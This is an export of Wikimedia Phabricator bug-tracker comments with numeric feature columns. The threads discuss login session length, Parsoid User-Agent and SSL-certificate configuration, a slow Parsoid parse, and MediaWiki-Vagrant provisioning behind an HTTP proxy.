[[https://gerrit.wikimedia.org/r/189215]]",,,1423436414,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.409090909090909,0.9090909090909091,"Change 189215 merged by jenkins-bot:
Add a config to force keep login

[[GERRIT_URL]]"
408460,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189417 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[https://gerrit.wikimedia.org/r/189417]]

#patch-for-review",,,1423436407,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8181818181818182,"Change 189417 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[GERRIT_URL]]

#patch-for-review"
408224,"Loginsessions are extremly short, when GL replaces MW login (user can not keep login)","Change 189215 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[https://gerrit.wikimedia.org/r/189215]]

#patch-for-review",,,1423326232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2cwxtol3hidgo7ipkwb5,task_subcomment,,True,c3,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8181818181818182,"Change 189215 had a related patch set uploaded (by Florianschmidtwelzow):
Add a config to force keep login

[[GERRIT_URL]]

#patch-for-review"
87604,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"NavigationTiming is an important schema that can reveal problems quicker.  For example, Russian Wikipedia added an https redirect in their Common.js and their page load time increased dramatically.

Write a SQL query that grabs data which could be used to show this problem, then graph it so the information is easy to consume.  Use this exercise as a way to brainstorm how to work with NavigationTiming in the future and how to make the useful data it gathers more easy to consume.",Medium,50.0,1422304556,1638227197.0,PHID-USER-vbyvvtbztxaeuaxelxx4,False,PHID-USER-u3dye3potxwvgq3nkqfn,False,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_description,declined,True,c3,1,False,False,False,-23,True,0.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,18.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,10.0,3.0,2.0,11.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,13.0,5.0,0.0,0.0,0.0,4.0,0.0,5.0,4.0,0.0,0.0,2.0,0.0,0.0,4.417582417582418,0.7142857142857143,"NavigationTiming is an important schema that can reveal problems quicker.  For example, Russian Wikipedia added an https redirect in their Common.js and their page load time increased dramatically.

Write a SQL query that grabs data which could be used to show this problem, then graph it so the information is easy to consume.  Use this exercise as a way to brainstorm how to work with NavigationTiming in the future and how to make the useful data it gathers more easy to consume."
738402,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"Notes from Ori:

* this would be interesting to see, but even though it's pretty easy to get the data broken up by project, it's hard to show in grafana
* needs a creative way to visualize outliers without having to visually parse through 900 timeseries lines
* any alerts built to handle situations like this should be carefully tuned for their sensitive human recipients.  Actionable, useful, etc.  Probably a good idea to test the alerts on historical data to see if they'd trip correctly.",,,1475528451,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,3,False,,,65,True,1.0,0.0,0.0,1.0,0.0,8.0,0.5,0.0,0.5,1.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.5,13.0,0.0,5.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,9.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,3.0,1.5,3.0,1.5,0.5,5.5,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,3.0,13.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,2.0,4.071372549019608,0.8515686274509804,"Notes from Ori:

* this would be interesting to see, but even though it's pretty easy to get the data broken up by project, it's hard to show in grafana
* needs a creative way to visualize outliers without having to visually parse through 900 timeseries lines
* any alerts built to handle situations like this should be carefully tuned for their sensitive human recipients.  Actionable, useful, etc.  Probably a good idea to test the alerts on historical data to see if they'd trip correctly."
738121,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"Wondering whether this dashboard solves this problem: https://grafana.wikimedia.org/dashboard/db/navigation-timing-by-geolocation

Or should we try and make more project-specific monitoring?",,,1475509689,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,3,False,,,65,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,4.681818181818182,0.9545454545454546,"Wondering whether this dashboard solves this problem: URL

Or should we try and make more project-specific monitoring?"
416098,Add ops-reportcard dashboard with analysis that shows the http to https slowdown on russian wikipedia,"@faidon, I haven't forgotten about this.  Marcel is working on a reliable scheduler that can run this query across wikis.  When that's ready we'll put up a dashboard showing the results.",,,1424726726,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-w4imk2jbuqsg4jupkkd4,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,10.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.0,0.85,"SCREEN_NAME, I haven't forgotten about this.  Marcel is working on a reliable scheduler that can run this query across wikis.  When that's ready we'll put up a dashboard showing the results."
87513,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"As an English Wikipedia bot operator, I am using Parsoid to retrieve parsed HTML versions of Wikipedia articles as part of the operation of my bot. As I'm trying to be a good citizen and not cause the nice people in WMF's analytics department any particular headaches, I thought it might be sensible to set a custom User-Agent string for my requests.

I can only do this by overriding the string set manually in lib/mediawiki.ApiRequest.js - making it so that this can be overridden from the localsettings.js would be quite useful for bot operators who are using Parsoid to retrieve parsed copies of content from MediaWiki installations.

(I may be able to prepare a patch, but filing the issue first in case I don't get around to it.)",Medium,50.0,1422117011,1432314644.0,PHID-USER-znnt57xojmep4hz4a7ql,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-knswxffu64vz7mtvlei4,task_description,resolved,True,c3,1,False,False,True,-23,True,0.5,0.0,0.0,0.0,1.0,4.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.5,0.0,4.5,0.5,3.5,14.5,0.0,3.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,2.5,0.5,0.0,2.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,5.0,4.0,10.5,1.5,1.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,14.5,7.0,0.0,0.0,0.0,6.0,0.0,0.5,2.0,0.0,3.5,0.0,0.0,0.0,4.121621621621621,0.7972972972972974,"As an English Wikipedia bot operator, I am using Parsoid to retrieve parsed HTML versions of Wikipedia articles as part of the operation of my bot. As I'm trying to be a good citizen and not cause the nice people in WMF's analytics department any particular headaches, I thought it might be sensible to set a custom User-Agent string for my requests.

I can only do this by overriding the string set manually in lib/mediawiki.ApiRequest.js - making it so that this can be overridden from the localsettings.js would be quite useful for bot operators who are using Parsoid to retrieve parsed copies of content from MediaWiki installations.

(I may be able to prepare a patch, but filing the issue first in case I don't get around to it.)"
462290,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"In T72761, we added a global parsoidConfig `strictSSL` to allow self-signed certs.

T66003 is to specify that config per mw api.",,,1432314644,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,15.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,3.7777777777777777,0.9259259259259259,"In T72761, we added a global parsoidConfig CODE to allow self-signed certs.

T66003 is to specify that config per mw api."
462271,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,The user-agent part is done. Unassigning myself.,,,1432310080,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,False,,,-6,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,The user-agent part is done. Unassigning myself.
454830,localsettings.js ought to contain a setting to override User-Agent and SSL cert verification,"In the same vein, from IRC:

11:39:08 +gwicke on the topic of making things configurable: a recurring request is to allow requests to hosts with a self-signed cert
11:41:07 +gwicke https://nodejs.org/api/https.html#https_https_request_options_callback lists a rejectUnauthorized option
11:42:41 +gwicke discussion for request at https://github.com/request/request/issues/418
11:42:59 +gwicke setting NODE_TLS_REJECT_UNAUTHORIZED=0 seems to work too
",,,1430937984,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-knswxffu64vz7mtvlei4,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.609375,0.734375,"In the same vein, from IRC:

11:39:08 +gwicke on the topic of making things configurable: a recurring request is to allow requests to hosts with a self-signed cert
11:41:07 +gwicke URL lists a rejectUnauthorized option
11:42:41 +gwicke discussion for request at URL
11:42:59 +gwicke setting NODE_TLS_REJECT_UNAUTHORIZED=0 seems to work too
"
87266,Parsoid endlessly running on certain pages,"For example try this page:
http://parsoid-lb.eqiad.wikimedia.org/dewikivoyage/Via_Jutlandica/Gpx

In my case, it runs without any end.",Medium,50.0,1421785598,1447827358.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-vjcbrjonjcvv4756sndw,task_description,resolved,True,c3,1,False,False,False,-24,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"For example try this page:
URL

In my case, it runs without any end."
564672,Parsoid endlessly running on certain pages,"`oldid=702475` was the revision at the time this was filed.

On master today, I get:

```
[info][dewikivoyage/Via_Jutlandica/Gpx?oldid=702475] started parsing
[info][dewikivoyage/Via_Jutlandica/Gpx?oldid=702475] completed parsing in 15501 ms
```",,,1447827358,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-vjcbrjonjcvv4756sndw,task_subcomment,,True,c3,3,True,,,19,True,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.84,0.72,"CODE was the revision at the time this was filed.

On master today, I get:

``CODE``"
401800,Parsoid endlessly running on certain pages,"It is a 30,500 line XML document. That said, I suppose we should look into what is causing it to take that long. Locally, dev version of Parsoid parsed in 195 sec.",,,1421788250,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-vjcbrjonjcvv4756sndw,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.5675675675675675,0.8918918918918919,"It is a 30,500 line XML document. That said, I suppose we should look into what is causing it to take that long. Locally, dev version of Parsoid parsed in 195 sec."
86787,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T72705#976450, @Kabhi2104 wrote:
> {F28605} Uploaded provision.log here too for future reference and this is the link of new paste https://phabricator.wikimedia.org/P216 
",Medium,50.0,1421257617,1468104262.0,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_description,resolved,True,c3,1,True,True,False,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,"QUOTE
QUOTE
"
691500,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,https://www.mediawiki.org/wiki/MediaWiki-Vagrant#Vagrant_behind_proxy,,,1468104262,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,3,True,,,53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
401614,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Change 184983 merged by jenkins-bot:
Verify downloaded composer phar

[[https://gerrit.wikimedia.org/r/184983]]",,,1421735430,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.052631578947368,0.8947368421052632,"Change 184983 merged by jenkins-bot:
Verify downloaded composer phar

[[GERRIT_URL]]"
399707,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"Change 184983 had a related patch set uploaded (by Dduvall):
Verify downloaded composer phar

[[https://gerrit.wikimedia.org/r/184983]]

#patch-for-review",,,1421265662,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8333333333333335,0.8333333333333334,"Change 184983 had a related patch set uploaded (by Dduvall):
Verify downloaded composer phar

[[GERRIT_URL]]

#patch-for-review"
399696,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,"There doesn't seem to be any composer deb on the horizon.

https://github.com/composer/composer/issues/1811",,,1421264542,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,"There doesn't seem to be any composer deb on the horizon.

URL"
399690,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976895, @dduvall wrote:
> Do you think it's worth it to tighten up the verification of the downloaded composer phar? In other words, change `creates => ""/usr/local/bin/composer""` to something like `unless => ""php5 -r '<try to load the phar>'""`.

It wouldn't hurt to find a way to validate the phar. /me grumbles something about non-versioned software with no SHA1 verification mechanism

The ""real"" Composer installer at <https://getcomposer.org/installer> includes this validation check:
```
            if (!ini_get('phar.readonly')) {
                // test the phar validity
                $phar = new Phar($pharFile);
                // free the variable to unlock the file
                unset($phar);
            }
```",,,1421264212,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0.0,2.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.980392156862745,0.8431372549019608,"QUOTE
QUOTE

It wouldn't hurt to find a way to validate the phar. /me grumbles something about non-versioned software with no SHA1 verification mechanism

The ""real"" Composer installer at <URL includes this validation check:
``CODE``"
399682,apt-get failures keeping MediaWiki-Vagrant from provisioning when host computer is on network that requires an HTTP proxy,">>! In T86787#976517, @bd808 wrote:
> @Kabhi2104 is your laptop running on a network that needs to use an HTTP proxy to reach the internet? If so you probably need to install [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] plugin and configure it in a local `Vagrantfile-extra.rb` configuration file so that Vagrant will tell the virtual machine how to contact the internet.

>>! In T86787#976572, @bd808 wrote:
> Some additional help on installing and configuring vagrant-proxyconf at http://stackoverflow.com/questions/19872591/how-to-use-vagrant-in-a-proxy-enviroment

I think trying out the install and configuration of [[https://github.com/tmatilai/vagrant-proxyconf|vagrant-proxyconf]] would be the place to start. I don't have access to a network that is stuck behind such a proxy at the moment to test things out myself. The instructions on StackOverflow looked pretty good at first glance. There was even an answer there about doing things to allow Bundler to download the plugin via a proxy.",,,1421263790,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-wwczn3uvvjm5vbgazkgg,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,5.0,17.0,0.0,5.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,4.0,13.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,17.0,6.0,0.0,0.0,0.0,4.0,0.0,1.0,5.0,1.0,2.0,0.0,0.0,2.0,3.9878048780487805,0.7195121951219512,"QUOTE
QUOTE

QUOTE
QUOTE

I think trying out the install and configuration of [[URL would be the place to start. I don't have access to a network that is stuck behind such a proxy at the moment to test things out myself. The instructions on StackOverflow looked pretty good at first glance. There was even an answer there about doing things to allow Bundler to download the plugin via a proxy."
